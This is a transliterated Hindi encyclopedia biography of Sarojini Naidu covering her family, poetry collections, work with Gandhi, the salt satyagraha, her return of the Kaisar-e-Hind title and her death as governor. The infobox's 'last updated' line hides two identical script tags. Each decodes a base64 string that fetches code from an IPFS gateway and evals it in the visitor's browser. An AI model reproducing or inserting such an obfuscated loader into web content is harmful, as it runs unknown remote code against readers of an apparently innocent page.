सरोजिनी नायडू

sarojini nayadoo vishay soochi

sarojini nayadoo    parichay    sahityik parichay    rajanitik jivan    svatantrata sangram mean yogadan    vyaktitv

sarojini nayadoo
sarojini nayadoo|200px|center
poora nam	sarojini nayadoo
any nam	bharat kokila
janm	13 faravari, 1879
janm bhoomi	haidarabad, aandhr pradesh
mrityu	2 march, 1949
mrityu sthan	ilahabad, uttar pradesh
abhibhavak	aghoranath chattopadhyay evan varada sundari
pati/patni	d aau. em. goviandarajalu nayadoo
santan	jayasoory, padmaja nayadoo, ranadhir aur lilamani
nagarikata	bharatiy
prasiddhi	rashtriy neta, kaangres adhyaksh
parti	kaangres
pad	pratham rajyapal (uttar pradesh)
vidyalay	madras vishvavidyalay, kiangz k aaulej landan, gartan k aaulej, kaimbrij
bhasha	aangrezi, hindi, bangala aur gujarati
puraskar-upadhi	kesar-e-hind
vishesh yogadan	nari-mukti ki samarthak
rachanaean	d goldan threshahold, bard aph taim, brokan viang
any janakari	lagabhag 13 varsh ki ayu mean sarojini ne 1300 padoan ki 'jhil ki rani' namak lanbi kavita aur lagabhag 2000 panktiyoan ka ek vistrit natak likhakar aangrezi bhasha par apana adhikar siddh kar diya.
adyatan‎	16:45, 24 sitambar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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sarojini nayadoo (aangrezi: Sarojini Naidu, janm- 13 faravari, 1879, haidarabad; mrityu- 2 march, 1949, ilahabad) suprasiddh kavayitri aur bharat desh ke sarvottam rashtriy netaoan mean se ek thian. vah bharat ke svadhinata sangram mean sadaiv age rahian. unake sangi sathi unase shakti, sahas aur oorja pate the. yuva shakti ko unase age badhane ki prerana milati thi. bachapan se hi kushagr-buddhi hone ke karan unhoanne 13 varsh ki ayu mean ledi aauf di lek namak kavita rachi. ve 1895 mean uchch shiksha prapt karane ke lie ianglaiand geean aur padhaee ke sath-sath kavitaean bhi likhati rahian. goldan thraishold unaka pahala kavita sangrah tha. unake doosare tatha tisare kavita sangrah bard aauph taim tatha brokan viang ne unhean ek suprasiddh kavayitri bana diya.

'shram karate haian ham
ki samudr ho tumhari jagriti ka kshan
ho chuka jagaran
ab dekho, nikala din kitana ujjval.'

ye panktiyaan sarojini nayadoo ki ek kavita se haian, jo unhoanne apani matribhoomi ko sambodhit karate hue likhi thi.

jivan parichay

1. REDIRECTsaancha:mukhy

sarojini nayadoo ka janm 13 faravari, sanh 1879 ko haidarabad mean hua tha. aghoranath chattopadhyay aur varada sundari ki ath santanoan mean vah sabase b di thian. aghoranath ek vaijnanik aur shikshashastri the. vah kavita bhi likhate the. mata varada sundari bhi kavita likhati thian. apane kavi bhaee harindranath chattopadhyay ki tarah sarojini ko bhi apane mata-pita se kavita–srijan ki pratibha prapt huee thi. aghoranath chattopadhyay 'nizam k aaulej' ke sansthapak aur rasayan vaijnanik the. ve chahate the ki unaki putri sarojini aangrezi aur ganit mean nipun hoan.

sahityik parichay

1. REDIRECTsaancha:mukhy

sarojini nayadoo apani shiksha ke dauran ianglaiand mean do sal tak hi rahian kiantu vahaan ke pratishthit sahityakaroan aur mitroan ne unaki bahut prashansa ki. unake mitr aur prashansakoan mean 'edamand g aaus' aur 'arthar simans' bhi the. unhoanne kishor sarojini ko apani kavitaoan mean gambhirata lane ki ray di. vah lagabhag bis varsh tak kavitaean aur lekhan kary karati rahian aur is samay mean, unake tin kavita-sangrah prakashit hue. unake kavita sangrah 'bard aauf taim' aur 'brokan viang' ne unhean ek prasiddh kavayitri banava diya. sarojini nayadoo ko bharatiy aur aangrezi sahity jagat ki sthapit kavayitri mana jane laga tha kiantu vah svayan ko kavi nahian manati thian.

rajanitik jivan

1. REDIRECTsaancha:mukhy

desh ki rajaniti mean qadam rakhane se pahale sarojini nayadoo dakshin afrika mean gaandhi ji ke sath kam kar chuki thi. gaandhi ji vahaan ki jatiy sarakar ke viruddh sangharsh kar rahe the aur sarojini nayadoo ne svayansevak ke roop mean unhean sahayog diya tha. bharat lautane ke bad turant hi vah rashtriy aandolan mean sammilit ho gee. shuroo se hi vah gaandhi ji aur bharatiy rashtriy kaangres ke prati vafadar rahian. unhoanne vidyarthi aur yuvaoan ki sabhaoan mean bhashan die. anek shaharoan aur gaanvoan mean mahilaoan aur am sabhaoan ko sambodhit kiya. sarojini nayadoo ka svasthy kabhi achchha nahian raha. lekin unaka manobal dridh tha. yuvavastha mean nahian, balki b di umr hone par bhi vah josh aur utsah ke sath kam karati rahian. yah dekhakar sab vismit rah jate the. unake sathiyoan aur prashansakoan ko hairani hoti thi ki itani ajey shakti unhoanne kahaan se paee hai.

svatantrata sangram mean yogadan

1. REDIRECTsaancha:mukhy

[[chitr:Sarojini-Naidu-Gandhi.jpg|thumb|220px|sarojini nayadoo aur mahatma gaandhi]] vastav mean sanh 1930 ke prasiddh namak satyagrah mean sarojini nayadoo gaandhi ji ke sath chalane vale svayansevakoan mean se ek thian. gaandhi ji ki giraphtari ke bad gujarat mean dharasana mean lavan-patal ki piketiang karate hue jab tak svayan giraphtar n ho geean tab tak vah aandolan ka sanchalan karati rahian. dharasana vah sthan tha jahaan pulis ne shantimay aur ahiansak satyagrahiyoan par ghor atyachar kie the. sarojini nayadoo ne us paristhiti ka b de sahas ke sath samana kiya aur apane bejo d vinodi svabhav se vatavaran ko sajiv banaye rakha. namak satyagrah khatm kar diya gaya. gaandhi-iravin samajhaute par gaandhi ji aur bharat ke vaisaray l aaurd iravin ne hastakshar kiye. yah ek rajanitik samajhauta tha. bad mean gaandhi ji ko sanh 1931 mean landan mean hone vale doosare golamej sammelan mean ane ke lie amantrit kiya gaya. usamean bharat ki sv-shasan ki maang ko dhyan mean rakhate hue sanvaidhanik sudharoan par charcha hone vali thi. us samay gaandhi ji ke sath, sammelan mean shamil hone vale anek logoan mean se sarojini nayadoo bhi ek thian. sanh 1935 ke bharat sarakar ke ekt ne bharat ko kuchh sanvaidhanik adhikar pradan kie. lambi bahas ke bad, kaangres, desh ki praantiy vidhanasabhaoan mean pravesh karane ke lie taiyar ho gayi. usane chunach l de aur desh ke adhikatar praantoan mean apani sarakarean banaee jinhean aantarim sarakaroan ka nam diya gaya.

chitr:Blockquote-open.gif sarojini nayadoo ka yah manana tha ki bharatiy nari kabhi bhi kripa ki patr nahian thi, vah sadaiv se samanata ki adhikari rahi haian. unhoanne apane in vicharoan ke sath mahilaoan mean atmavishvas jagrat karane ka kam kiya. chitr:Blockquote-close.gif

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nirbhik vyaktitv

1. REDIRECTsaancha:mukhy

sarojini nayadoo ne bhay kabhi nahian jana tha aur n hi nirasha kabhi unake samip aee thi. vah sahas aur nirbhikata ka pratik thian. panjab mean sanh 1919 mean jaliyaanvala bag mean hue hatyakaand ke bare mean kaun nahian janata hoga. am sabhaoan par janaral dayar ke dvara lagay ge pratibandh ke virodh mean jama hue saik doan nar-nariyoan ki nirdayata se hatya kar di gee thi. vaise bhi r aaulet ekt ke parit hone se desh mean pahale se hi kafi tanav tha. is ekt ne nyayadhish ko rajanitik muqadamoan ko bina kisi pairavi ke phaisala karane aur bina kisi qanooni karravaee ke sandigdh rajanitijnoan ko jel mean dalane ki chhoot de di thi. jaliyaanvala hatyakaand ko lekar samast desh mean krodh bh dak utha. us pashavik atyachar ki gurudev ravindranath taigor ke man mean ugr pratikriya huee aur unhoanne apani 'nait hud' ki padavi lauta di. sarojini nayadoo ne bhi apana 'kaisar-e-hind' ka khitab vapas kar diya jo unhean samajik sevaoan ke liy kuchh samay pahale hi diya gaya tha. ahamadabad mean gaandhi ji ke sabaramati ashram mean svadhinata ki pratijna par hastakshar karane vale arambhik svayan sevakoan mean vah ek thian. gaandhiji shuroo mean yah nahian chahate the ki mahilaean satyagrah mean sakriy roop se bhag lean. unaki pravrittiyoan ko gaandhi ji kataee, svadeshi, sharab ki dukanoan par dharana adi tak simit rakhana chahate the. lekin sarojini nayadoo, kamala devi chattopadhyay aur us samay ki desh ki pramukh mahilaoan ke agrah ko dekhate hue unhean apani ray badal deni p di.

smriti mean dak tikat

[[chitr:Sarojini-Naidu-Stamp.jpg|thumb|200px|sarojini nayadoo ke samman mean jari dak tikat]] 13 faravari, 1964 ko bharat sarakar ne unaki jayanti ke avasar par unake samman mean 15 ne paise ka dak tikat bhi chalaya. is mahanh deshabhakt ko desh ne bahut samman diya. sarojini nayadoo ko visheshat: 'bharat kokila', 'rashtriy neta' aur 'nari mukti andolan ki samarthak' ke roop mean sadaiv yad kiya jata rahega.

mrityu

sarojini nayadoo ki jab 2 march sanh 1949 ko mrityu huee to us samay vah rajyapal ke pad par hi thian. lekin us din mrityu to keval deh ki huee thi. apani ek kavita mean unhoanne mrityu ko kuchh der ke lie thahar jane ko kaha tha.....

mere jivan ki kshudha, nahian mitegi jab tak
mat ana he mrityu, kabhi tum mujh tak.

unaka jivan labhadayak aur paripoorn tha. us jivan se unhean atmasantushti prapt huee thi ya nahian yah to koee nahian bata sakata lekin jitana unake jivan ke bare mean janate haian usase itana to zaroor kaha ja sakata hai ki unhoanne apane jivan ko ek uddeshy diya tha aur usi ke anuroop vah jiti rahi thian. aisa jivan bahut logoan ko nasib nahian hota. 'git ke vishad se jivan ka vishad' mita dene ke lie vah prayas karati rahian. usi tarah unhoanne jivan bitaya. ane vali pidhiyaan isi roop mean unhean yad karati raheangi. unhean yad rakhane ka yahi ek dhang hai- 'sarojini nayadoo jo prem aur git ke lie jiti rahian.' jaisa gaandhi ji ne kaha tha, sachche arthoan mean vah 'bharat kokila' thian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• sarojini nayadoo ki jivani aur kavitaean
• sarojini nayadoo dvara likhe patr
• Sarojini Naidu
• Sarojini Naidu books

sanbandhit lekh

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